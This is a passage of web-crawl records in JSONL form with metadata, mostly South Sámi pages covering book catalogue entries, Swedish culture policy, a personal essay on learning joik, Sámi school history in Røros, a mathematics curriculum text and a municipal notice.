gååvnese.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/dokumenta_spiele-jeatja-baakoejgujmie","date":"2022-10-05T19:00:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337663.75\/warc\/CC-MAIN-20221005172112-20221005202112-00585.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":56,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Kintel, Anders Husby, Magne Bertije Høgskolen i Nord-Trøndelag Vaadtasovvemejaepie 2012 Faage Eatnemefaage Saemien 1 Båatsoe jïh design Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Daaroengïele ISBN 9788274566675 Formaate Sïejhme gærja Reakta-aajhtere Høgskolen i Nord-Trøndelag Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 66 Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage Saemiengïele Baakoegærjah","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/girji_lulesamiske-fuglenavn","date":"2022-10-05T19:24:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337663.75\/warc\/CC-MAIN-20221005172112-20221005202112-00655.warc.gz","language":"sma","language_score":0.9983001351,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9983001351356506}","num_words":48,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmieh jiehtieh: \"Kultuvre edtja akte dynamihkeles mavvas jïh frijje faamoe årrodh man våarome lea soptsestimmiereakta. Gaajhkh edtjieh nuepiem utnedh kultuvrejielemem dååjrehtidh. Kreativiteete, gellievoete jïh tjeahpoen kvaliteete edtjieh siebriedahken evtiedimmesne vååjnedh\".\nMijjen dåarjoej jïh jeatjah darjomi tjïrrh mijjieh sïjhtebe barkedh ihke dejtie kultuvrepolitihkeles ulmide buektiehtidh.\nFïerhten jaepien medtie göökte miljaardh kråvnoeh juekebe mij mesnie dagkaridie:\n- Litteratuvre, gærjagåetie jïh ihke lohkemem evtiedidh\n- Guvvie- jïh hammoetjeahpoe jïh museeume\n- Musihke, teatere, daanhtsoe jïh daaletje cirkuse\n- Skuvle skaepiedæmman jïh kultuvreskuvlese\n- Nasjonelle unnebelåhkoej kultuvre\nKultuvreiktedimmiemaallen tjirrh medtie akte miljaardh kråvnoeh juekebe dejtie regijovnide Sveerjesne.\nMijjen dåarjoe vedtebe dejtie darjoemidie mah profesjonelle barkeminie tjeahpojne jïh kultuvrine Sveerjesne jïh gaskenasjonelle. Vuesiehtimmien kultuvresiebrieh, organisasjovnh, dåehkieh, bertemesïelth jïh tjïelth.\nPositijve faamoe mij edtja gaajhkide jaksedh\nKultuvre dovne aajnealmetjem jïh siebriedahkh tsavtsa, jeatjahtahta jïh evtede. Dïhte akte positijve faamoe mij edtja gaajhkide gååvnesidh. Mijjieh sïjhtebe jienebh edtjieh nuepiem utnedh kultuvrem dååjrehtidh jïh aaj orre dåehkieh jaksedh mah eah biehkiem kultuvreste vaeltieh daan biejjien. Mijjieh sïjhtebe nuepieh skaepiedidh ihke gaajhkh almetjh edtjieh seamma reaktam utnedh jïh nuepiem kultuvrefaalenassem tsevtsedh jïh biehkie kultuvrejieliemistie årrodh.\nReerenasse lea sjïere stillemem bïejeme Kulturrådet:se ihke evtiedimmiem eevtjedh mij seamma reaktaj jïh nuepiej bïjre hbtqi-almetjidie, mij sæjhta jiehtedh homoseksuelle, biseksuelle, transealmetjh jïh almetji queere vuajnoeh jïh identiteeth.\nKulturrådet åajvaladte sektovredïedtine gyhtjelasside jaksoes mierien bïjre gaajhkide, jïh sjïere stillemem åtna barkedh guktie kultuvrefaalenasse edtja jakseme mieresne årrodh dejtie almetjidie giej leah funksjovnegiehpiedimmie.\nMaanaj jïh noeri reakta kultuvrese\nMaanaj jïh noeri reakta kultuvrese akte gyhtjelasse mij lea jarngesne nasjonelle kultuvrepolitihkesne. Mijjen stilleme lea nuepieh jienebh maanide jïh noeride vedtedh ihke dah edtjieh maehtedh biehkiem vaeltedh tjeahpojste jïh kultuvreste, åadtjodh meatan årrodh skaepiedidh jïh nuepiem dejtie vedtedh tsevtsedh, saaht gusnie årroeh, magkerh etnisiteete, mij socioekonomeles dåehkesne jïh jis funksjovnegiehpiedimmie.\nKultuvreskuvlejarngine barkebe vuesiehtimmien ihke kultuvreskuvle edtja seammavyörtegs jïh jaksoes gaajhkide årrodh, juktie jienebh maanah edtjieh maehtedh kultuvreööhpehtimmiem åadtjodh jïlle kvaliteetine.\nMijjieh barkebe aaj ihke lohkemem evtiedidh, dovne maanide jïh noeride. Vuesiehtimmien Bokstart, Barnbokskatalogen jïh Läsambassadören.\nMedtie 60% dejstie dåarjojste mejtie mijjieh juekebe libie darjoemidie maanide jïh noeride vedteme.\nMijjieh aaj Litteratureprijsem Astrid Lindgrenen mojhtesasse reerie, veartenen stööremes maana- jïh noerelitteratuvreprijse mij akten aejkien fïerhten jaepien juakasåvva.\nTjeahpoe jïh kultuvre raasti rastah.\nGaskenasjonelle iktedimmie nænnehkåbpoe evtiedimmiem tjeahpojste vadta jïh kultuvrefaalenassem vadta gusnie dovne gellievoete jïh buerebe kvaliteete – dovne Sveerjesne jïh ålkoerïjhkesne. Dïhte jarnge lea mijjen gaskenasjonelle barkosne.\nMijjieh mij mesnie dåarjoem utnebe mij gaskenasjonelle iktedimmiem dåarjede gellie tjeahpoedajvine, jïh dåarjoeh mah edtjieh viehkiehtidh ihke kultuvreorganisasjovnh Sveerjesne edtjieh maehtedh meatan årrodh gaskenasjonelle viermine. Soptestimmiereakta jïh demokratije aaj gyhtjelassh mah mijjen jarngesne, mij mesnie barkoem dåarjedibie årromesijjieh vedtedh tjiehpiedäjjide mij leah aajhteme jïh vaarjelimmiem Sveerjesne ohtsedieh.\nKulturrådet stillemem åtna svïenske litteratuvren jarkoestimmiem evtiedidh. Vuesiehtimmien maahta ovmessie dåarjoeh syökedh Swedish Literature Exchangesne.\nMijjieh barkebe aaj ihke kultuvreorganisasjovnh Sveerjesne edtjieh maehtedh gaskenasjonelle viermiej meatan årrodh jïh fïerhten jaepien dåarjoeh juekebe gaskenasjonelle viermide.\nMijjieh dïhte nasjonelle gaskesejarnge EU:n kultuvreprogrammese Kreativa Europa jïh Unescon 2005-konvensjovne mij edtja dam kulturelle gellievoetem vaarjelidh jïh gaskenasjonelle kultuvreiktedimmie.\nMijjen webbesijjesne maahtah vielie lohkedh mijjen darjomen bïjre jïh guktie darjoeh jis sïjhth mijjen dåarjoeh syökedh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.kulturradet.se\/other-languages\/sydsamiska\/","date":"2022-12-07T03:10:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711126.30\/warc\/CC-MAIN-20221207021130-20221207051130-00592.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":490,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sara Helen Persson\nGosse manne Gávtsjávrresne byjjenim, dellie idtji sïejhme vuelieh govledh. Måjhtam ikth gosse gånka jïh trööhnege guessine böötin, jïh mijjieh pearadeavese veedtsimh. Aahka desnie mij sov maadtoen vueliem joejki. Dïhte sjïere munnjien domti. Manne lim garmeres desnie bijjene pearadeavesne gusnie tjåadtjoejim jïh dam goltelim. Manne sjïere domtim. Dagkeres deahpadimmieh idtji sïejhme daesnie, jïh daamtaj barre gosse mij akt sjïere deahpadi. Dellie dah båeries almetjh joejkin.\nManne tjidtjiem dåeriedi gosse dïhte båeries almetji luvnie mïnni mah maaje joejkin jïh soptsestin. Dellie mov ïedtjem fahkaji. Munnjien soptsestamme gosse manne aahkam goltelamme joejkedh, dellie mænngan aahkan gåajkoe roehtim jïh dam faerhmiestim. Mij akt magijeles dejnie vueline. Dïhte mannem bïksi. Mejtie dan åvteste sïjhtim dam faerhmiestidh. Manne lim njieljie jaepien båeries, jïh dïhte lij mov vuekie dam gijhtedh.\nManne dejtie föörhkedimmide jïh mojjesidie ennje måjhtam. Jalhts im fïere guhte vueliem måjhtam, dellie aahkam måjhtam, jïh dejtie mojhtesidie leah mov sisnjielisnie. Mov ulmie orreme lïeredh joejkedh jïh dam aerpievuekiem vaarjelidh.\nManne eelkim gosse lim 4-5 jaepien båeries. Dellie åadtjoejim dejtie joekoen murreds tjåanghkojde dåeriedidh. Manne aaj våarhkosne ohtsedamme jïh båeries tjoejenassebaantide goltelamme. Manne gellie tæjmoeh tjahkasjamme vuelieh goltelamme, jïh buektiehtamme ånnetje lïeredh.\nIdtjim daejrieh guktie edtjem lïeredh joejkedh, men veeljim tjoejenassebaantide goltelidh mejtie mov fuelhkie utni. Manne våarhkojde ohtsedamme jïh veeljeme dejtie mejtie böötin mov maadtojste, jïh mov dajveste. Dan mænngan leam gellien aejkien dejtie goltelamme, jïh aalkovistie barre nujkiestim. Jïh dellie eelkim joejkedh.\nPryövim gaajhkh tjoejh jïh melodijh heerredh desnie gusnie gåaradi. Manne goltelamme mejtie jievkehtimmiem gååvnese, mejtie vuelien sjïere boelhki mietie juakasovveme. Jis vuelien golme ovmessie boelhkh? Jïh dellie akti akti lïerim. Gosse gaajhkide boelhkide buektiehtim, dellie abpe vueliem joejkim. Gosse joejkim, dellie tjoejenassebaantem goh duekie utnim goske doestim dan namhtah pryövedh. Gosse jïjtje pryövim, dellie manne mov spealadimmiem sïjse spealadi. Dam darjoejim juktie goltelidh mejtie seammalaakan sjïdti jallh mejtie tjoerim ikth vielie dam tjoejenassebaantem goltelidh.\nManne hov guarkadamme vuelie dan soe jeenje. Manne lïereme dovne histovrijem jïh gïelem vuelien tjïrrh. Gellie vueline soptsesem gååvnesieh sijjen bïjre, almetjen bïjre, deahpadimmien bïjre, jïh naan aejkien almetjen bïjre. Sijjien bïjre jallh deahpadimmien bïjre soptsesuvvieh baakoej tjïrrh. Baakoeh leah saemien gïelesne. Jïh dellie manne orre lahtesh numhtie lïereme. Manne domteme dam maam saemien gïelesne lïereme lea aevhkies.\nVuelie lea vuekie tjïertestidh mij lea geerve buerkiestidh. Vuelie lea dïeves domtesigujmie, jïh vuelien tjïrrh guvvieh åvtese båetieh jïh dejtie jïjtse jielemem åadtjoeh. Dan åvteste geerve dam buerkiestidh. Fïerhten aejkien manne Gávtesjáavran vuajam, jïh jaevrien njaelmiem vuajnam, dellie nyjsenæjja govlem vueliem \"Gävttse\" joejkeminie. Manne dan soptsesem vuelien bïjre govlem, jïh eannan manne portaalen nualan vuajam, dellie manne aaj joejkeminie. Man åvteste im daejrieh. Mejtie dan åvteste dïhte vuelie dan tjarki dan dajvese jïh mov fealadimmie voenen sïjse gårredamme. Mov domtese gåatan viht båetedh lea dam seamma domtesem maam dïhte nyjsenæjja utni.\nMov bajjesimmien gaavhtan jïh dej almetji gaavhtan manne buektiehtamme maam akt bååstede vaeltedh mij lij gaervehteminie dennie upmejesaemien dajvesne. Manne leam gijhteles dej almetji åvteste mah lin mov bïjre orreme. Manne leam eensilaakan dejtie vuelide goltelamme, jïh dle akten biejjien manne Lapplassensne tjåadtjoejim gusnie lij vuelieiehkede maam saemiensiebrie lij öörneme. Manne mov maadteraahkan vueliem lïereme, jïh edtjim dam joejkedh. Manne joekoen krååvvedim edtji båajhtoeh sjïdtedh. Minngemosth lij mov våaroe, jïh dejtie voestes sekundh lij debpelen dahkoe, menh buektiehtim dam tjïrrehtidh. Manne tjelmide trimhkim gosse joejkim juktie haaljoeh åadtjodh, jïh gosse tjelmide rïhpestin dellie mov aajjan gïknjelassh dåastoejim. Dellie deejrim dejtie tæjmojde maam lïerehtamme joejkedh eah lin dossjes.\nMænngan dïhte mannem faerhmiesti, jïh dellie sïjhtim barre vielie lïeredh.\nDejtie båeries almetji bielelen mejtie mannem eadtjaldovvin, dejtie mojjesi jïh gïknjelassi bielelen, mov tjidtjien bielelen mij mannem dejtie tjåanghkojde dåeriedi idtji maa manne buektiehtamme.\nRaerieh guktie lïeredh:\nGuktie darjodh gosse eah dah voeres almetjh vielie gååvnesh sijjen maahtojne, jïh barre datne mij sïjhth lïeredh. Maahtah ovmessielaakan darjodh, menh edtjem mov raerieh datnine juekedh jïh vuesiehtidh guktie manne dorjeme:\n- Eajhnadovvh datne sïjhth.\n- Vuartesjh mejtie naakene gååvnese dov dajvesne mij maahta joejkedh. Mejtie dïhte maahta dov bïhkedæjjine årrodh.\n- Goltelh, goltelh, goltelh dov dajven vuelide. Aalkoevistie maahtah veeljedh 1 jallh 2 vuelieh jïh dejtie gellien aejkien goltelidh. Minngemosth aalkah joejkedh gosse tjoejefijle aalka.\n- Veeljh dejtie \"aelhkemes\" voestegh. Mænngan maahtah dejtie geervebe pryövedh, jïh dle jïjtjedh vuelieh darjodh jïh evtiedidh.\n- Gaavnh dov sijjie. Maahta laavkometjïehtjelisnie årrodh, dov tjïehtjelisnie, ålkone saaht gusnie. Vihkielommes lea datne doesth dov gïelem pryövedh, jïh joejkedh.\n- Goltelh jïh joejkh seammasïenten. Aalkoevistie dïhte hijven dåarjoe.\n- Baajh tïjjem vaasedh, jïh aellieh dan garre dov jïjtjemdh årroeh. Aellieh viertesth mubpiejgujmie.\n- Vuelie hov iemie munnjien båateme gosse leam ålkone. Dållebealesne, bovtsi luvnie, vaeresne, jïh sjïere sijjide munnjien.\n- Ih daarpesjh åehpiedehtedh. Ih daarpesjh scenan nelnie tjåadtjodh. Ih daarpesjh gahtjemisnie meatan årrodh jallh domtedh datne tjoerh bööremes årrodh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.tjallegoahte.se\/jojk\/sara-helen-persson\/","date":"2022-11-29T08:32:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00511.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":760,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Drag skole Vaadtasovvemejaepie 2001 Faage Eatnemefaage Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Daaroengïele ISBN 8279540695 Formaate Sïejhme gærja Reakta-aajhtere Drag skole Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 36 Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Eatnemelearoe Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/node\/9452","date":"2023-01-31T01:14:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499831.97\/warc\/CC-MAIN-20230130232547-20230131022547-00436.warc.gz","language":"sma","language_score":0.9998229146,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998229146003723}","num_words":49,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Isak Saba guovddáš Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Isak Saba guovddáš Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Aarhte jïh daajroe IT\/teknologije Saemiengïele Baakoegærjah Grammatihke Viehkiebaakoe Lahtesh Baakoe","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/node\/13685","date":"2023-02-03T10:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500044.66\/warc\/CC-MAIN-20230203091020-20230203121020-00005.warc.gz","language":"sma","language_score":0.9997011423,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997011423110962}","num_words":43,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daltese\nGiele\nMagkeres\nBïevnesh\nAamhtesh\nViehkiebaakoe\nNorwaco lea darjojerïektesorganisasjovne mij sekundære nuhtjemem latjkaminie guktie dejtie tjoejide jïh jielije guvvide nuhtjedh.\nLatjkoeh maanajgïerte-, maadth- jïh jåarhkeskuvligujmie dorjelgieh tjïelti jallh fylhkentjïelti baakta, jïh dïhte lea faamosne gaajhkide sijjen byjjes skuvlide.\nBaanth maehtieh barre skuvli ööhpehtimmesne nuhtjelgidh.\nJis ij daejrieh mah dov skuvlen jallh ööhpehtimmieinstitusjovnen naan latjkoe, dellie maahtah Saemiedigkien learoevierhtiesentraalem govlehtidh.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/artihkal_norwaco","date":"2023-04-01T17:02:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950110.72\/warc\/CC-MAIN-20230401160259-20230401190259-00525.warc.gz","language":"sma","language_score":0.9999394417,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999394416809082}","num_words":70,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SKUVLEGYHTJELASSE\n\"Lapper samlet til möte i Trondhjem uttaler som sin mening, at staten bör ha pligt til at sörge for lappernes undervisning med bibehold av lappisk sprog i skolerne, med lappiske tilsynsmænd og undervisning i saadanne emner, som er nödvendige for lapperne at kjende, hvis de skal kunne eksistere som rendrivende folk. (…)Vi anser det for rigtig, at ikke missionsselskaperne, men staten skal besörge undervisningen.\"\nProtokoll fra landsmøtet i 1917\nRørosen dajvesne doh jeanatjommes saemien learohkh voeneskuvline veedtsin, jïh maanah idtjin nuepiem utnieh ööhpehtimmiem åadtjodh saemiengielesne jallh saemien gïeleööhpehtimmiem åadtjodh. Skuvle jïh gïele lij akte dejstie aamhtesijstie rijhketjåanghkosne 1917. Gyhtjelasse mennie gielesne learohkh edtjin ööhpehtimmiem åadtjodh stoerre digkiedimmieh sjugniedi. Juktie sijjen reaktaj åvteste gæmhpodh lij vihkeles dam nöörjen gielem hijvenlaakan maehtedh. Akte dagkeres sjæjsjalimmie sïjhti jïjtse gïelem goerpedehtedh.\nSKUVLEGYHTJELASSE\n1800-låhkoen jïh 1900-låhkoen aalkoelisnie gellie saemienmaanah skuvlem veedtsin dejnie sïejhme voeneskuvline. Mearan skuvlem veedtsin dah gaertieninie årroejin voenesne. Bïevnesh gååvnesieh mah soptsestieh saemien maanah ööhpehtimmiem åadtjoejin fuelhkien årromesijjine, men daate ij lij akte öörnege maam byögkelesvoete lij öörnedamme. Akte alternatijve saemien maanide åarjelsaemien dajvesne lij Nöörjen finnemisjovnen internaateskuvle mij tseegkesovvi Havikesne Namsosen lïhke 1910. Aaj desnie abpe ööhpehtimmie lij nöörjen gïelesne, jïh maanah idtjin luhpiem utnieh sinsitnine saemiestidh.\nGïelelïerehtimmie jïh skuvle lij akte dejstie åejvieteemijste rijhketjåanghkosne Tråantesne 1917. Dellie digkiedin mejtie saemien maanah edtjin nöörjen ammesgieline utnedh jallh mejtie saemien edtji mïrrestalleldh årrodh nöörjen gïeline ööhpehtimmesne. Daate lij akte staelhpie saemien årroejidie. Saemieh lin akte unnebelåhkoe, jïh byögkeles siebriedahkedigkiedimmie lij nöörjen gielesne. Juktie sijjen reaktah krïevedh lij daerpies dam nöörjen gielem hijvenlaakan maehtedh, jïh jienebh, dej gaskem Daniel Mortensen, dan åvteste mïeli saemien maanah byörin nöörjen lïeredh. Seamma tïjjen daate dam saemien gielem sæjjan bïeji. Stoerre ovgeahpan daan aamhtesen bïjre.\nRijhketjåanghkoe meehti amma seamadidh akten resolusjovnen bïjre mij jeehti nöörjen staate tjoeri dïedtem vaeltedh saemien maanaj ööhpehtimmien åvteste, gusnie saemien gïele jïh daajroe båatsoen bïjre tjoeri bieline årrodh ööhpehtimmeste.\nSkuvlehistovrije\nGuhkiem veesi åvtelen staate bæjjese fulki saemiej krïevenassh skuvlegyhtjelassesne. Jaepien 1951 akte skuvlefaalenasse tseegkesovvi Aarbortesne, jïh skuvle learohkh abpe åarjelsaemien dajveste åadtjoeji. Skuvlemaanah dejstie åarjemes dajvijste guhkies vuelkemegeajnoem skuvlese åadtjoejin, jïh ööhpehtimmie lij annje nöörjen gïelesne.\nBarkoe akten åarjelsaemien skuvlen åvteste jöörhki. 1968 internaate bigkesovvi Snåasesne jïh saemien maanah ööhpehtimmiem åadtjoejin saemien gielesne goh ellen voestes aejkien. Dej voestes jaepiej ööhpehtimmie lij voeneskuvlesne, men 1977 akte jïjtse skuvle, Åarjel-saemiej skuvle, lij gaervies.\nElla Holm Bull jïh Knut Bergsland dam åarjelsaemien tjaelemegïelem evtiedin, jïh 1974 dïhte voestes learoegærja bööti, Lohkede saemien.\n\"… når vi bruker språket i en klassesituasjon så er det likevel noe uforklarlig som skjer. Jeg føler og merker at det er noe som de synes de eier og noe de er fortrolig med tross alt. (…) det er noe som hører dem til.\" – Ella Holm Bull i \"Sørsamer. Et folk uten språk og kultur?\" NRK 9. feb. 1979","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/skuvlegyhtjelasse","date":"2023-03-23T12:20:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00083.warc.gz","language":"sma","language_score":0.9999084473,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999908447265625}","num_words":447,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matematihke 1-10 (MAT01‑05)\nFaagen relevaanse jïh vihkeles aarvoeh\nMatematihke lea vihkeles faage juktie möönsterh jïh ektiedimmieh seabradahkesne jïh eatnamisnie guarkedh modellereemen jïh nuhtjemi tjïrrh. Matematihke edtja viehkiehtidh guktie learohkh veele gïelem evtiedieh juktie resonneeredh, laejhtehkslaakan ussjedidh jïh gaskesadtedh abstraksjovnen jïh generaliseeremen tjïrrh. Matematihke edtja learoehkidie ryöjrehtidh akten seabradahkese jïh barkoejieliedasse viehkine dejtie maahtoem vedtedh goerehtimmesne jïh dåeriesmoereloetemisnie.\nGaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Laejhtehks ussjedimmie matematihkesne lea laejhtehks vuarjasjimmie resonnementeste jïh argumenteste jïh maahta learoehkidie viehkiehtih jïjtsh veeljemh vaeltedh jïh mïelem utnedh vihkeles gyhtjelassi bïjre jïjtsh jieliedisnie jïh seabradahkesne. Gosse learohkh astoem åadtjodh ussjedidh, matematihkeles ussjedadtedh, gyhtjelassh gihtjedh jïh dååjredh faage lea sjiehteles, faage kreativiteetese jïh sjugniedimmielastose sjïehteladta. Matematihke edtja viehkiehtidh guktie learohkh maahtoem evtiedieh jïjtjeraarehke barkedh jïh mubpiejgujmie laavenjostedh goerehtimmien jïh dåeriesmoereloetemen tjïrrh, jïh maahta viehkiehtidh guktie learohkh vielie voerkes sjidtieh jïjtsh lïeremen bïjre. Gosse learohkh nuepiem åadtjoeh dåeriesmoerh loetedh jïh haestemh oktegimse haalvedh, dïhte vïssjelesvoetem jïh jïjtjeraarehkevoetem evtede.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-03-21T23:05:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943747.51\/warc\/CC-MAIN-20230321225117-20230322015117-00547.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":150,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n2018\nFaage\nDaltese\nGiele\nISBN\n8293402299\nFormaate\nSïejhme gærja\nReakta-aajhtere\nCappelen Damm, Tore Aurstad, Carina Westberg, Astrid Hansen\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n65\nGærja skuvlen gaskedaltesen learoehkidie.\nGærja Løp for livet! åarjelsaemien. Gærja lea Maarjan jïh Saaken bïjre mah hæhtjose vuelkieh tjoejken Maarjan eejhtegigujmie. Maanah spïeledeminie, dle Maarjan eejhtegh kraannebi gåajka tjoejkijieh. Maarja jïh Saake radijovistie govlijægan gööktesh roestegåeteste baataramme. Ij leah guhkiem dellie ovnohkens almetjh hæhtjoen ålkolen jijhtieh jïh dah leah ïskeresligke ååredæjjide gaptjeme. Lohkemegærja skuvlen gaskedaltesasse.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_roehtesth-hiegken-diehte","date":"2023-03-26T18:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946445.46\/warc\/CC-MAIN-20230326173112-20230326203112-00749.warc.gz","language":"sma","language_score":0.9995343685,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9995343685150146}","num_words":91,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtsemegeajnoen sjïekedimmie\nRenhållning av gångbanor\nGåetien aajhteren dïedte lea vaadtsemegeajnoem sjïekedidh jïh jeatjah maarhke gåetien ålkoelisnie gusnie maahta vaedtsedh. Dïedte lea gusnie tjïelten lea åejvie byjjes sijjesne. Vaadtsemegeajnoe jïh jeatjah maarhke vaedtsejidie gåetien ålkoelisnie galka naemhties-laakan årrodh guktie ij sænitæren dåeriesmoerh destie båetieh. Aaj edtja gåetien aajhtere, sijjen tsiehkiej krööhkeste, geehtedh murries, åvtesbåateme jïh trafihkenjearsoestimmiem evtiedidh.\nJeenjebh bïevnesh\nGeajnoeh jïh såafoesijjieh, telefovne: 090-16 14 61","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/vaadtsemegeajnoensjiekedimmie.4.333c64e217718860a23119b.html","date":"2023-04-01T19:18:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950247.65\/warc\/CC-MAIN-20230401191131-20230401221131-00108.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":62,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AAMHTESH\n\"Dommen har gjort at jeg føler mig som en undertrykt mand uten lov og ret. (…) der er ikke én av dem som har talt lappernes sak. (…) Jeg spør; Skal vi selv staa lovløs? Dette er spørsmaal vi lapper vil ha besvart!\"\nDaniel Mortenson om reindriftsaken under landsmøtet i 1917\nBehtjiedimmie båatsoen vööste gellede lehkeste bööti abpe Røros-saemien dajveste, joekoen jillede. Gauldalen doedterisnie luhpehts sjïdti låemties bovtsigujmie gïehtelidh. Seamma sjugniehtovvi Sålekinnesne Os jïh Tolgan tjïeltine jïh Einunndalesne Folldal jïh Alvdalen tjïeltine. Jillielisnie, Trollheimesne, vaallah 